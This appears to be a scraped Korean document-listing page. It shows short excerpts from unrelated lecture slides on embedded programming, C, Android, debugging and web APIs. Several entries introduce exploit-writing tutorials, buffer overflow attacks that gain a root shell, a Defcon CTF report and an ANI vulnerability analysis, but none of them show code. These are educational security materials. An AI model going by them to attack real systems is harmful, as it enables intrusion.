<4D F736F F F696E74202D20BBB7BBB7C7D15F FBEDFB0A3B1B3C0B05FC1A638C0CFC2F72E BC8A3C8AF20B8F0B5E55D> 뻔뻔한 AVR 프로그래밍 The Last(8 th ) Lecture 유명환 ( yoo@netplug.co.kr) INDEX 1 I 2 C 통신이야기 2 ATmega128 TWI(I 2 C) 구조분석 4 ATmega128 TWI(I 2 C) 실습 : AT24C16 1 I 2 C 통신이야기 I 2 C Inter IC Bus 어떤 IC들간에도공통적으로통할수있는 ex)

More information

<4D F736F F F696E74202D204B FC7C1B7CEB1D7B7A55F F6E48616E646C6572B8A6C5EBC7D1BFA1B7AFB0CBC3E2B9D7BCF6C1A

<4D F736F F F696E74202D204B FC7C1B7CEB1D7B7A55F F6E48616E646C6572B8A6C5EBC7D1BFA1B7AFB0CBC3E2B9D7BCF6C1A 강연소개 Exception Handler 를통한에러검출및수정 디버깅을즐겨하십니까..? 에러를만나면반갑습니까..? 전화로버그보고를받았나요..? 잡히지않는버그!!!! 따분한강의 졸아도좋습니다!!!! 강연자소개 테스터 온라인게임클라이언트개발 로컬라이즈및해외지원업무 디버깅, 최적화, 호환성향상에관심 강연대상 x86 환경에서 Windows 프로그래밍 디버깅 / 에러추적은

More information

History

History [Document Information] Title : History Of Buffer Over Flow VOL. 1 Date : 2007. 3. 28 Author : hardsoju Contact : E-Mail(hardsoju@hanmail.net) 1 [Index] 1. 개요 2. 환경변수의이해 2.1 eggshell 을이용한 root shell 획득

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Web server porting 2 Jo, Heeseung Web 을이용한 LED 제어 Web 을이용한 LED 제어프로그램 web 에서데이터를전송받아타겟보드의 LED 를조작하는프로그램을작성하기위해다음과같은소스파일을생성 2 Web 을이용한 LED 제어 LED 제어프로그램작성 8bitled.html 파일을작성 root@ubuntu:/working/web# vi

More information

Microsoft PowerPoint Android-SDK설치.HelloAndroid(1.0h).pptx

Microsoft PowerPoint Android-SDK설치.HelloAndroid(1.0h).pptx To be an Android Expert 문양세강원대학교 IT 대학컴퓨터학부 Eclipse (IDE) JDK Android SDK with ADT IDE: Integrated Development Environment JDK: Java Development Kit (Java SDK) ADT: Android Development Tools 2 JDK 설치 Eclipse

More information

A Dynamic Grid Services Deployment Mechanism for On-Demand Resource Provisioning

A Dynamic Grid Services Deployment Mechanism for On-Demand Resource Provisioning C Programming Practice (II) Contents 배열 문자와문자열 구조체 포인터와메모리관리 구조체 2/17 배열 (Array) (1/2) 배열 동일한자료형을가지고있으며같은이름으로참조되는변수들의집합 배열의크기는반드시상수이어야한다. type var_name[size]; 예 ) int myarray[5] 배열의원소는원소의번호를 0 부터시작하는색인을사용

More information

Microsoft PowerPoint - 00_(C_Programming)_(Korean)_Computer_Systems

Microsoft PowerPoint - 00_(C_Programming)_(Korean)_Computer_Systems C Programming 컴퓨터시스템 (Computer Systems) Seo, Doo-Ok Clickseo.com clickseo@gmail.com 목 차 컴퓨터시스템 프로그래밍언어 2 컴퓨터시스템 컴퓨터시스템 컴퓨터하드웨어 컴퓨터소프트웨어 프로그래밍언어 3 컴퓨터시스템 컴퓨터시스템 하드웨어 : 물리적인장비 소프트웨어 : 프로그램 ( 명령어 ) 들의집합 Computer

More information

Microsoft PowerPoint - ch09 - 연결형리스트, Stack, Queue와 응용 pm0100

Microsoft PowerPoint - ch09 - 연결형리스트, Stack, Queue와 응용 pm0100 2015-1 프로그래밍언어 9. 연결형리스트, Stack, Queue 2015 년 5 월 4 일 교수김영탁 영남대학교공과대학정보통신공학과 (Tel : +82-53-810-2497; Fax : +82-53-810-4742 http://antl.yu.ac.kr/; E-mail : ytkim@yu.ac.kr) 연결리스트 (Linked List) 연결리스트연산 Stack

More information

Microsoft Word - ntasFrameBuilderInstallGuide2.5.doc

Microsoft Word - ntasFrameBuilderInstallGuide2.5.doc NTAS and FRAME BUILDER Install Guide NTAS and FRAME BUILDER Version 2.5 Copyright 2003 Ari System, Inc. All Rights reserved. NTAS and FRAME BUILDER are trademarks or registered trademarks of Ari System,

More information

Microsoft Word - 1. ARM Assembly 실습_xp2.doc

Microsoft Word - 1. ARM Assembly 실습_xp2.doc ARM asm 의구조 ARM Assembly 실습 1. 기본골격 AREA armex,code, READONLY ;Mark first instruction to execute start MOV r0, #10 MOV r1,#3 ADD r0, r0, r1 ; r0 = r0 + r1 stop NOP NOP B stop ; Mark end of file 위의 asm의구조를이해하고실행해보세요.

More information

금오공대 컴퓨터공학전공 강의자료

금오공대 컴퓨터공학전공 강의자료 C 프로그래밍프로젝트 Chap 13. 포인터와배열! 함께이해하기 2013.10.02. 오병우 컴퓨터공학과 13-1 포인터와배열의관계 Programming in C, 정재은저, 사이텍미디어. 9 장참조 ( 교재의 13-1 은읽지말것 ) 배열이름의정체 배열이름은 Compile 시의 Symbol 로서첫번째요소의주소값을나타낸다. Symbol 로서컴파일시에만유효함 실행시에는메모리에잡히지않음

More information

BOF Foundation.doc

BOF Foundation.doc 해커지망자들이알아야할 Buffer Overflow Attack 의기초 What every applicant for the hacker should know about the foundation of buffer overflow attacks By 달고나 (Dalgona@wowhacker.org) Email: zinwon@gmail.com 2005 년 9월 5일

More information

Microsoft Word - readme.doc

Microsoft Word - readme.doc ========================================================= 제 1 회광주과기원정보통신공학과 SW 경진대회 (Hacking 경진대회 ) 대회시작 : 2002 년 8 월 8 일 ( 목 ) 오후 9:00 ( 한국시간, GMT+9:00) 대회종료 : 2002 년 8 월 10 일 ( 토 ) 오후 9:00 ( 한국시간, GMT+9:00)

More information

게시판 스팸 실시간 차단 시스템

게시판 스팸 실시간 차단 시스템 오픈 API 2014. 11-1 - 목 차 1. 스팸지수측정요청프로토콜 3 1.1 스팸지수측정요청프로토콜개요 3 1.2 스팸지수측정요청방법 3 2. 게시판스팸차단도구오픈 API 활용 5 2.1 PHP 5 2.1.1 차단도구오픈 API 적용방법 5 2.1.2 차단도구오픈 API 스팸지수측정요청 5 2.1.3 차단도구오픈 API 스팸지수측정결과값 5 2.2 JSP

More information

문서개정이력 개정번호개정사유및내용개정일자 1.0 최초작성 본문서는원문작성자 (Peter Van Eeckhoutte) 의허가하에번역및배포하는문서로, 원문과관련된모든내용의저작권은 Corelan에있으며, 추가된내용에대해서는 ( 주 ) 한국정보보호교육센터에

문서개정이력 개정번호개정사유및내용개정일자 1.0 최초작성 본문서는원문작성자 (Peter Van Eeckhoutte) 의허가하에번역및배포하는문서로, 원문과관련된모든내용의저작권은 Corelan에있으며, 추가된내용에대해서는 ( 주 ) 한국정보보호교육센터에 문서번호 13-VN-06 공격코드작성따라하기 ( 원문 : 공격코드 Writing Tutorial 4) 2013.1 작성자 : ( 주 ) 한국정보보호교육센터서준석주임연구원 오류신고및관련문의 : nababora@naver.com 문서개정이력 개정번호개정사유및내용개정일자 1.0 최초작성 2013.01.31 본문서는원문작성자 (Peter Van Eeckhoutte)

More information

0x00 Contents 0x About Nickster 0x Analaysis 0x Exploit

0x00 Contents 0x About Nickster 0x Analaysis 0x Exploit Defcon CTF 17 th Nickster Report StolenByte(Son Choong-Ho) http://stolenbyte.egloos.com thscndgh_4@hotmail.com WOWHACKER 2009. 08. 09 0x00 Contents 0x01 ------------- About Nickster 0x02 -------------

More information

Microsoft Word - ANI 취약점.doc

Microsoft Word - ANI 취약점.doc ANI 취약점 (MS07-017) 본문에서는최근 Windows.ani 에대한취약점으로 2006 년에이 어다시한번취약점이나타나면서마소에서핫픽스까지제공한 최근이슈가되었던취약점에대한분석이다. Hacking Group OVERTIME crash 2007.10.10 1. 취약점설명 해당취약점은조작된 ANI 파일에대하여 Windows

More information

SRC PLUS 제어기 MANUAL

SRC PLUS 제어기 MANUAL ,,,, DE FIN E I N T R E A L L O C E N D SU B E N D S U B M O TIO

More information